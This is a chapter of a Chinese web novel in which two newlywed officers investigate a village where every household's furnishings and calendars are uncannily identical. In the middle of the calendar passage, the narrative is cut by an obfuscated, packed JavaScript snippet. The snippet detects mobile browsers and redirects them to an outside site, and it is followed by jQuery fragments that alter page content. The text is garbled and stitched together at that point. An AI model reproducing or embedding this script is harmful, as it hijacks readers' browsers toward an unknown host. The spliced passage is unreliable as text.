“嘘。”周观逸的脸偏移一点方向,嘴唇朝他耳朵,交换成周观逸说,季长岁听,“别打草惊蛇,先进屋。”
季长岁倏地定在那儿了。
不仅是这地方确实不对劲,以及……以及他说不上来,总之自己就不动弹了。
周观逸退开一些位置,看着他:“走吧。”
卢翠夫妇俩做菜很利索,炒了一盘青椒肉片,炖了三条鱼。算不得丰盛,量也不大,所以几位警员都不打算吃。
卢翠不乐意了,她说特意捞的鱼切的肉,就为着小周今天结婚。
盛情难却,又是和赵胜有过接触的人,周观逸和季长岁坐下了。何书清跟白珊宇委实不好意思一起分享这可怜巴巴的两道菜和几个馒头,说再去走访几户人家,跟着小卓一块儿走了。
李稻是他们的二儿子,大女儿在市里读书。卢翠刚坐下就开始唠自己家里的事儿,说大女儿成绩好,快高考了,想叫她大学去桃榔读,那儿社会稳定治安好。
又说这个小儿子,班里排倒数,当初就是婆婆非催着再生一个才要的他。
李稻似乎听这些话听麻木了,揪着馒头蘸鱼汤吃,脸上只有咀嚼动作。
终于,季长岁在卢翠细密的家常话里抓住了节奏间隔:“所以拆迁那年,您大女儿在村子的初中上学?”
“是哦!”
“她一般早上几点从家里出发?”
“哟,最迟也六点一刻。”
“她自己去学校?”
“老李送。”
季长岁转头问李河添:“赵胜回村那天,您早上也正常送孩子上学吗?”
老李将馒头放回碗里,坐直起来:“送的,那天下雨,路不好走,一鞋子水,还黑。我记得很清楚,因为前一天我股市中签了,哈哈哈……特高兴,早上在校门口给了大丫儿二百块钱!”
话刚说完,老李老脸一红:“唉哟,多少年前的事儿了,见笑了见笑了。”
季长岁平静地说:“没有,这是记忆锚点,否则人很难回想起很多年前的某一天。”
“对对对……”老李点着头。
胡大爷牙口不行,得等馒头在开水里泡得软烂些再吃。整个午餐老人家没怎么说话,不过能看出来他跟卢翠家相处得很融洽。
一顿饭季长岁和周观逸就象征性吃了点儿,解释着早上吃多了,吃得也晚什么什么的。总之两个人高马大的Alpha一人掰一半馒头,捡着配菜细嚼慢咽着,终于把这顿饭糊弄了过去。
李稻筷子一放就出去院子里,卢翠收拾锅碗,李河添打开工具箱去瞧胡大爷的电视机。季长岁给周观逸去了个眼神,周观逸点头。
两人来到院子里。
李稻的手机横着拿在手里,疯狂滑动屏幕,看起来在玩游戏。
季长岁的手习惯性搭在战术腰带上,步伐自然地靠近他。没问话也没说话,就看了眼他屏幕,在玩一个时下小孩儿之中很火爆的手游。
李稻知道他过来了,眼珠子只稍微一抬,看见季长岁的腰,又低下头去。
“这儿网能打游戏吗?”季长岁顺嘴闲聊一样,“我以为山里网很慢。”
李稻:“胡老爹家位置高,网好。”
“嗯。”季长岁嗯完就迈步离开,好像真的只是顺嘴一聊。他走到周观逸身边,依然是贴近他耳边,轻声说:“去观察一下网络波动。”
接着快速打了两个指挥手势:
三分钟后,别走太远。
周观逸点头。
季长岁在院子里这里看看那里瞧瞧,没什么可疑的东西。他表现得很轻松,甚至带了点不想工作的疲态,所以卢翠她老公出来院子里的时候笑了两声:“唉哟,警官,怎么坐在地上了?嗨呀这孩子,你把墩子让给警官坐啊!”
“没事没事。”季长岁站起来掸掸屁股,“我看看我同事上哪儿去了,估计抽烟去了吧还是什么的,您忙好了?”
李河添“嗳”了声:“修好了,小毛病,这电视是电话线信号,有个水晶头接触不良。”
“哦,小问题。”季长岁说,“您这就跟卢姐回去了?”
“回了回了,老爷子要午睡了。”李河添走到儿子旁边,一巴掌不轻不重带了点恨铁不成钢,“走了,从睁眼就玩,玩到睡觉,玩这东西有什么用。”
大约是顾忌警察在这儿,李河添没有责骂得太过头,这么听起来是普通家庭里爱玩游戏小孩儿常听见的。季长岁没管,而且周观逸回来了。
周观逸向李河添笑笑:“您跟卢姐回去了?”
“回了!”卢翠笑吟吟地从屋里出来,挎着来时的篮子,篮子上还是那块很干净的碎花布盖着,“老爷子准备睡了,我们回去杀几只鸭子送去村里饭店,人家四点钟就要!”
“一块儿吧。”季长岁说,“我跟周部长也准备走了,话都问完了。”
周观逸看看他,没出声,没反驳,没问。
默契到恍若共枕眠了十余年。
卢翠先是很明显地愣了下,李河添也差不多,只不过他立刻笑了起来,连带着卢翠也回过神。李河添笑道:“是啊!你们不是刚结婚嘛,都不放个假就过来走访,太辛苦了!”
“是啊,这不……反正就先回去了,记录什么的也都做了。”季长岁顺着这话,“我们…呃,周、周部长晚上还要跟我家里吃饭呢,得换身衣服。”
他觉得李河添的笑容有些过头,微妙的有些虚惊一场后的畅快。
卢翠赶紧点头:“是的是的,我们小周从小帅到大!要带些礼物啊,记得买买水果啊牛奶,哎,你家里没人,去了见着人家家人要嘴甜,晓得嘛?”
周观逸点头:“晓得。”
虽然有点地狱,但周观逸想的是,这会儿已经跟季长岁家里吃过午饭了。他家就他一个人,卢姐。
“走走走。”卢翠快步走在前边带路。
走回警车停着的地方时,刚好碰上何书清一行三人,大家就在这里分开,卢姐一家三口回水塘旁的家里,小卓小何小白三个人很明显的有话想说。
季长岁:“先上车。”
车子原路返回,从土路开上省道,开回村里。
小卓在所里找了个空会议室,五个人依次坐下。何书清把平板电脑面向两位没去走访的长官:“哥,部长,我们走访了没有拆走的几家住户,都是留守老人和儿童,没问出什么特别的,但是……你们看。”
平板上是两个分屏,方便对比画面。两户一组,很直观。季长岁也是立刻发现了——
“一模一样。”季长岁扭头看周观逸,“他们所有人家里的陈设都一样。”
小卓整个人表情很紧绷:“是的,说来惭愧,我也是……今天才意识到。”
“从来没人发现过吗?”周观逸不懂,“不应该啊,这很明显。”
小卓眼神看起来很害怕,是后怕的那种,他摇头:“不不,四年前山区老房子拆迁的时候这些不愿意拆的住户闹过,因为他们房子原则上是生产队的统一产权,是宿舍的形式,所以其实只要生产队同意拆迁就可以拆,当时的拆迁队就吓唬吓唬他们,稍微砸了那么一下……后来呢又不知道怎么不拆了,砸的那些家具啊家电,就上边统一补偿下来,所以各家各户都是一样的水壶、电视、床头柜……我们从没觉得哪儿不妥。”
“可是,连电视机屏幕的朝向和角度都一样。”季长岁看着小何说,“如果这可以说是巧合,那么电风扇的磨损程度为什么一样,还有这里,所有住户的挂历都展示同一个月份,五月,明天就是五月一号。”
那些挂历各式各样,有的是福娃,有的是明星。
如今有了手机电视这些设备,加上老人家腿脚不便,取下挂历再翻一页挂回去这个动作逐渐被省去。
所以挂历停在那儿很正常,但走访录像里,每一户家里的挂历虽是不同年份
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749559|174274||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可都停在五月。
不同年份的五月,五月怎么了?
五月就是明天。黄历上今日宜婚,明日如何,季长岁不知。
“对了,部长。”季长岁视线移到周观逸脸上,“手机信号怎么样?”
“靠近胡大爷家信号是满的,越远越少。”
“意料之中。”季长岁点头,旋即想起,眼前这位也是谷福村人士,“你外婆家也是这样吗?”
周观逸没想到问上自己了,不过如实作答:“不记得了,应该不是,因为我妈接走我那年,我外婆过世了,我妈把那房子给卢姐家当仓库,感谢她那几年照应我们。”
季长岁迟钝地点头:“总之这里肯定有些问题,我们……”
他话没说完,被面如死灰的小卓打断了。
“警…警官……”小卓嗓子在哆嗦,“你们能不能别走……”
他快哭了。
这事儿的诡异程度对于小卓来讲实在是太超过,因为这村子不大,住户也不多,出去溜达一圈即便叫不上名字多少也脸熟。
熟悉的人和物会带来安全感。小卓在这里待了四年,半夜若是有烧烤摊闹事,他听个店名大概就能猜到是哪位高人喝大了。
季长岁在观察小卓。
如果是演的,那属于恐怖等级的演技了。小卓看上去三十出头,要不是一身警服,估计这会儿该打摆子了:“我不明白怎么会变成这样……我们村一直都好好的,出了赵胜这毒贩之后也一直、一直没发生过什么大事啊……”
“我理解。”季长岁看着他,“这样,我们先把这些资料整合做好发回局里,然后……今晚先在这里观察,这儿有住的地方吗?”
“有!”小卓不哆嗦了。
下午何书清跟白珊宇在辖区派出所里做材料,季长岁周观逸在所里开了个会说明这情况。让季长岁比较意外的是,小卓的领导们似乎觉得这都是误会。
因为谷福村很太平。
近两年,连偷电瓶的都没有。
只有小卓非常害怕,有一种原来自己一直生活在怪物群落中的恐惧感。
直到傍晚,二人独处时,才开始了真正的信息交互。
村口的水果摊老板正要回家,季长岁买了一兜子手剥橙。
从村口向外走,越走路灯越暗,夜里凉风习习,要不是后面有个村子,难免瘆人。
周观逸先说话的:“卢姐家也那样。”
“录像里那样。”他补充。
季长岁剥开橙子掰一半递给他:“卢姐夫妇很奇怪。她老公说送大女儿上学的那个清晨是不合理的。”
“你的意思是不该记得那么清楚?”周观逸掰一片橙子。
“水系异能。”季长岁也吃一片,边嚼边说,“下雨对他不会有影响,即便是最低阶的水系也不会一鞋子水。”
周观逸恍然,他从军的,这方面没那么敏锐:“是。”
“还有胡大爷家网速那么快,也是个问题。”季长岁说,“这村子要查,需要管理局来异能者帮忙查。”
说完,季长岁意识到一个问题。
他脚步慢下来,周观逸也放慢速度,无奈地看着他。
“哎……”季长岁叹气,“想起来了,人手不够。”
“先从卢姐家查吧。”周观逸说,“他们跟赵胜接触得多。”
“以前……卢翠也是这样吗?邻里之间热心帮忙。”季长岁问。
“嗯。我外婆眼盲,她帮了我们很多。”
眼盲的老太太和一个没灶台高的小孩儿,季长岁咽下橙子,又把自己手里这一半再掰一半递给他:“这还挺甜的。”
周观逸笑笑。
很快,笑不出来了
热心民警卓晓维同志欣闻两位新婚,准备了招待所里干净敞亮的大床房。
不知从哪搞来了一套大红床单。
这……新婚夜啊?两人懵了。